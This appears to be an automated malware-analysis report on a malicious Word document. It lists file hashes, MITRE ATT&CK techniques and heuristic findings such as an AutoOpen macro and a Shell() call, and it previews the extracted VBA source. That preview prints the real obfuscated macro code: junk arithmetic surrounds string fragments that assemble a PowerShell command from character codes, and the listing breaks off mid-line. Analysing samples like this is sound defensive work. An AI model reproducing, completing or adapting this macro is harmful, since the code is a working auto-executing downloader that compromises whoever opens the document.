Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed6f48805982ba2d…

MALICIOUS

Office (OLE)

226.2 KB Created: 2018-06-25 22:18:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: 3ed7c4d74192dca72c60d9dffa20a629 SHA-1: ba8ae205d69d43d2202282c04e262899e664a1a8 SHA-256: ed6f48805982ba2da6e84b9886f5f0cefaca2aa236f238be9f5e8b69ba9df00b
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic firing indicates a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro suggests immediate execution upon opening. The script itself is heavily obfuscated, but the presence of the Shell() function is a strong indicator of a downloader or dropper functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14971 bytes
SHA-256: 24eccf21916dc15c86e51d897eff7ae0ef11e951559bbb672284f3412b3eed73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KKwCiwPtZGGv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WGSFrwfWAwi"
Function MTiuhuHwhfA()
On Error Resume Next
ajdUwo = (16814 / CBool(15106) + 56295 + CSng(zGaPZZ) * (66691 - LWvzjR + 22763 - CLng(AklAiO)))
GHzTii = CByte(87195 * Tan(95891) / 39195 + CLng(DXaaF * 41992 * 65278 * Chr(52599)))
pJEqUb = "Hell" + "  -joi" + "n" + Chr(40) + " " + "[CHAr" + "[]]" + Chr(40) + " 49 , 11" + "1," + "66 , 65" + " ," + "40,1"
duwaC = (23520 / CBool(17498) + 25106 + CSng(YWdFlR) * (37005 - aFEJR + 47810 - CLng(jctlJu)))
DYUlu = CByte(15363 * Tan(63385) / 93110 + CLng(VVFZw * 74335 * 97836 * Chr(73076)))
wjMmdY = "23,112" + ", 98" + ",56 " + ", 122 ," + "119," + " 12" + "7,112 " + ", 118" + " , 97, " + "53,"
HwvcW = (618 / CBool(21741) + 42304 + CSng(qaSXD) * (87159 - SEkzX + 21649 - CLng(izjoMz)))
zdHcBw = CByte(36666 * Tan(53058) / 3651 + CLng(ZYjqV * 79685 * 94581 * Chr(33555)))
QFNSqSwsT = "91 , " + "112 ," + "97,59 " + ",66 , 1" + "12,119," + "86 ," + "121, 124" + ", 1" + "12, 12" + "3, 97" + ", 46, 4" + "9 , 1"
PjiOm = (70839 / CBool(92347) + 44906 + CSng(inLwW) * (92061 - zKvBwr + 81751 - CLng(QZzbk)))
ImXAk = CByte(92431 * Tan(28597) / 28758 + CLng(rFZBz * 27611 * 16603 * Chr(52297)))
bLLsPwUVX = "11 , 64" + " , 65 , " + "40 , 50" + " ,12" + "5,97 " + ",9" + "7 ,10" + "1 ,47 ," + "58 , 58,"
nwYfB = (29780 / CBool(29478) + 46678 + CSng(fwMlUm) * (17192 - Bowmz + 59467 - CLng(oDwXpt)))
Hwwnoj = CByte(56401 * Tan(70071) / 14861 + CLng(LGjQJG * 71823 * 74130 * Chr(86248)))
RvziUSJk = " 1" + "23,114 " + ",1" + "12,1" + "23 , 11" + "6 ,59" + " , 1" + "18 "
MUcPoR = (81058 / CBool(82196) + 95997 + CSng(rjwrq) * (26291 - jwZsQj + 25260 - CLng(tvRizK)))
wRbnVi = CByte(99010 * Tan(44574) / 87944 + CLng(motcJr * 49415 * 91892 * Chr(37307)))
wvXTltc = ",12" + "2,59" + ",111 ,1" + "16,58," + " 69 , 12" + "3, " + "86,95,1" + "15" + " ,38" + ",124, "
oTiwn = (30363 / CBool(78796) + 89584 + CSng(YLAIG) * (74340 - QDrEhb + 60245 - CLng(isTzj)))
sjdGw = CByte(54986 * Tan(67352) / 59791 + CLng(FtEBVa * 72901 * 60847 * Chr(74289)))
iWYAtOb = "38" + ",101, 98" + " , 58 ," + " 85" + " ,125," + "97,97 " + ",10"
faWDOW = (25686 / CBool(77819) + 55667 + CSng(vwrKQ) * (62289 - WCKKvl + 7186 - CLng(KcZKfs)))
hHEdV = CByte(60289 * Tan(28694) / 68134 + CLng(oGNEJC * 88489 * 70997 * Chr(78691)))
wZqAu = "1,47 " + ",58," + "58" + ", 96 ,36" + ", 34 ," + " 59,96" + ",113, 11" + "2," + " 10"
MTiuhuHwhfA = pJEqUb + wjMmdY + QFNSqSwsT + bLLsPwUVX + RvziUSJk + wvXTltc + iWYAtOb + wZqAu
Pdcjjp = (35332 / CBool(34451) + 8299 + CSng(oizZiO) * (69721 - nKzHS + 51535 - CLng(pYwcI)))
oVjdjE = CByte(52060 * Tan(40024) / 78120 + CLng(NKpvJ * 15807 * 77645 * Chr(43402)))
End Function
Function OXAOpzp()
On Error Resume Next
RnziBH = (19996 / CBool(3349) + 19683 + CSng(RTpvLz) * (17983 - vwKJl + 96886 - CLng(jzdfM)))
jcjquq = CByte(82002 * Tan(60837) / 42074 + CLng(CQaXk * 45282 * 28359 * Chr(56362)))
djcvKYBjYY = "2,124" + ", 114 " + ",123," + "99,1" + "23" + " , 59,11" + "8 , 12"
ArsXkI = (3833 / CBool(99103) + 45303 + CSng(KjWzM) * (64504 - IFQJSl + 49843 - CLng(HsKaW)))
iAkLq = CByte(82831 * Tan(8776) / 92855 + CLng(sqTOLs * 62928 * 36286 * Chr(26432)))
iLkjU = "2," + " 120" + ",5" + "8, 115, " + "71 ,98 " + ", 45, 12" + "6,99 ,5" + "8,85, 12" + "5 ,9" + "7,"
sOJMmh = (10913 / CBool(35896) + 96289 + CSng(QrYAFb) * (61662 - mWqmMX + 45864 - CLng(zXOha)))
zldzZ = CByte(76973 * Tan(96484) / 58290 + CLng(YGTRBS * 35263 * 17394 * Chr(68837)))
YPfEHtjl = "97 ," + "101 " + ",47, 58" + ",58" + " , 101 " + ", 1" + "12,12" + "3," + " 97"
ujqzG = (3917 / CBool(72424) + 78154 + CSng(hiEQC) * (82625 - nWHCsn + 14871 - CLng(SjtGVA)))
OiUfsG = CByte(72403 * Tan(45030) / 91377 + CLng(ziwCUp * 31809 * 50533 * Chr(15677)))
wVzqUKnBpR = " ,1" + "22," + "109," + "59, 1" + "25 , 9" + "6,58 , " + "
... (truncated)